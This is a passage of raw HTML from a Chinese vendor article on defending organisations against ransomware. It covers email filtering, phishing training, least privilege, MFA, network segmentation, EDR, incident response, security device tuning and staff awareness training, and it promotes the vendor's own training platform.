UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">部署电子邮件安全</span><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">网关，过滤恶意附件和链接。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">培训员工识别钓鱼邮件和恶意链接，提高对社会工程攻击的防范意识。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">限制员工对高风险</span><strong style="outline: 0px;"></strong><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">网站（如未经过筛选的下载网站）的访问，减少通过恶意广告和下载感染的风险。</span></p><h3 style="padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;letter-spacing: 0em;text-align: left;word-spacing: 0em;text-wrap-mode: wrap;outline: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><strong>4. 用户权限管理</strong></h3><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">最小权限原则（Principle of Least Privilege）：根据岗位需求分配权限，避免不必要的管理员权限。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">禁止员工使用公共账户和共享账号，所有用户需拥有独立的登录凭证。</span></p><h3 style="padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);text-align: left;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><strong>5. 启用多因素认证（MFA）</strong></h3><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">为关键系统和远程访问启用MFA，防止账号被未经授权访问。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">除了密码之外，添加短信验证、动态令牌等额外的安全层。</span></p><h3 style="padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><strong>6. 网络分段与隔离</strong></h3><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">实施网络分段，将关键系统与普通网络隔离开，防止勒索病毒在局域网内扩散。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">对于重要的业务系统，采用单独的VLAN和防火墙策略进行防护。</span></p><h3 style="padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;letter-spacing: 0em;text-align: left;word-spacing: 0em;text-wrap-mode: wrap;outline: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><strong>7. 部署防勒索软件和端点检测响应（EDR）</strong></h3><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">使用防病毒软件和防勒索软件，及时识别和阻止潜在的勒索病毒攻击。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">部署EDR解决方案，以监测和响应异常活动，迅速隔离感染设备，防止病毒扩散。</span></p><h3 style="color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;"><strong>8. </strong><strong>建立并测试应急响应计划</strong></h3><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">制定详细的应急响应计划，明确在勒索攻击发生时的应对步骤。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">定期演练，测试该计划的可操作性，并进行改进。</span></p><h3 style="padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);text-align: left;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><strong style="outline: 0px;">9. 入侵检测与流量监控</strong></h3><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">使用入侵检测系统（IDS）和入侵防御系统（IPS），识别和阻断异常流量。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">监控网络流量日志，以便在勒索病毒传播的早期阶段及时发现异常。</span></p><h2 style="margin-top: 30px;margin-bottom: 15px;font-family: PingFangSC-regular, sans-serif;letter-spacing: normal;text-wrap: wrap;outline: 0px;color: rgba(0, 0, 0, 0.85);cursor: pointer;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="padding-right: 30px;padding-left: 15px;outline: 0px;cursor: pointer;font-size: 18px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">6.2 安全设备调优</span></h2><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><strong style="outline: 0px;">目标</strong></p><section style="margin-bottom: 0px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">通过对安全现状的梳理和分析，识别安全策略上的不足，结合目标防御、权限最小化、缩小攻击面等一系列参考原则，对设备的相关配置策略进行改进调优，一方面，降低无效或低效规则的出现频次；另一方面，对缺失或遗漏的规则进行补充，实现将安全设备防护能力最优化。</span></section><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-size: 16px;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100010294" data-ratio="0.32222222222222224" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 637px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1fd7d548&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntqVHm3NJFwa3sXj6s3zc5m52HeMa7qo5p2D6BASboMuW7foHV5SNS6o58lED1y8FKENvq7ZDetzMA%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></p><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><strong style="outline: 0px;">主要目标设备</strong></p><section style="margin-bottom: 0px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;"><span style="outline: 0px;font-size: 15px;">网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。</span></section><h2 style="margin-top: 30px;margin-bottom: 15px;font-family: PingFangSC-regular, sans-serif;letter-spacing: normal;text-align: left;text-wrap: wrap;outline: 0px;color: rgba(0, 0, 0, 0.85);cursor: pointer;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="padding-right: 30px;padding-left: 15px;outline: 0px;cursor: pointer;font-size: 18px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">6.3 全员安全意识增强调优</span></h2><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><strong style="outline: 0px;">目标：</strong></p><section style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">通过网络安全意识宣贯、培训提升全方位安全能力</span></section><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><strong style="outline: 0px;">形式</strong><strong style="outline: 0px;">：</strong></p><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><strong style="outline: 0px;"><br/></strong></p><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;"><strong style="outline: 0px;">线下培训与宣贯</strong><strong style="outline: 0px;">：</strong><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">采用面授形式，通过系统化的课程安排，确保全员深入理解网络安全的核心概念和防护措施。</span></p><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;"><br/></span></p><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;"><strong style="font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;word-spacing: 0em;outline: 0px;">线上替代方案</strong></p><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;"><strong style="font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;word-spacing: 0em;outline: 0px;"><br/></strong></p><section style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;text-indent: 2em;"><strong style="outline: 0px;">分发学习材料：</strong><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">在无法</span><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">组</span><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">织线下培训的情况下，可以提供安全意识培训材料，由各级管理层分发，鼓励员工自主学</span><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">习。</span></section><section style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;text-indent: 2em;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;"><br/></span></section><section style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;text-indent: 2em;"><strong style="outline: 0px;">线上培训会议：</strong><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">组织线上集体学习会，安排网络安全专家进行远程培训，确保人员得到充分指导和答疑。</span></section><section style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;text-indent: 2em;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;"><br/></span></section><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;"><img class="rich_pages wxw-img" data-height="969" data-imgfileid="100010298" data-ratio="0.6166666666666667" data-width="1571" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f3969bfe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntouqs2gYibf4tiaicpBvedsWAEJvdN9GuvWstKj1nLXwJmeUx12icqQhbyyUTf80HMfqKMdibNnMcLGGKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;">我司自主研发的知行网络安全教育平台结合多种培训方式的组合，灵活应对不同场景，确保每位员工具备扎实的网络安全意识与技能。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;"><br/></span></p><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;"><img class="rich_pages wxw-img" data-height="966" data-imgfileid="100010295" data-ratio="0.6527777777777778" data-width="1480" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=edcc5306&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FDxUXemrrntouqs2gYibf4tiaicpBvedsWAED7Mr0s4qINicqCiaB7wJhvbIULq4Ig5GS4kPxqOh7I9SLu6PySN990mg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-align: center;"><span style="outline: 0px;font-size: 15px;">知行网络安全教育平台</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-align: center;"><span style="outline: 0px;font-size: 15px;"><br/></span></p><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;"><img class="rich_pages wxw-img" data-height="809" data-imgfileid="100010296" data-ratio="0.5453703703703704" data-width="1484" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9fe53089&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FDxUXemrrntouqs2gYibf4tiaicpBvedsWAE2CVNKIh9ia15j2c2mFNy7iaFxHxibehAzIbbhMicVJmZnFSqVaRdvTiazFw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: 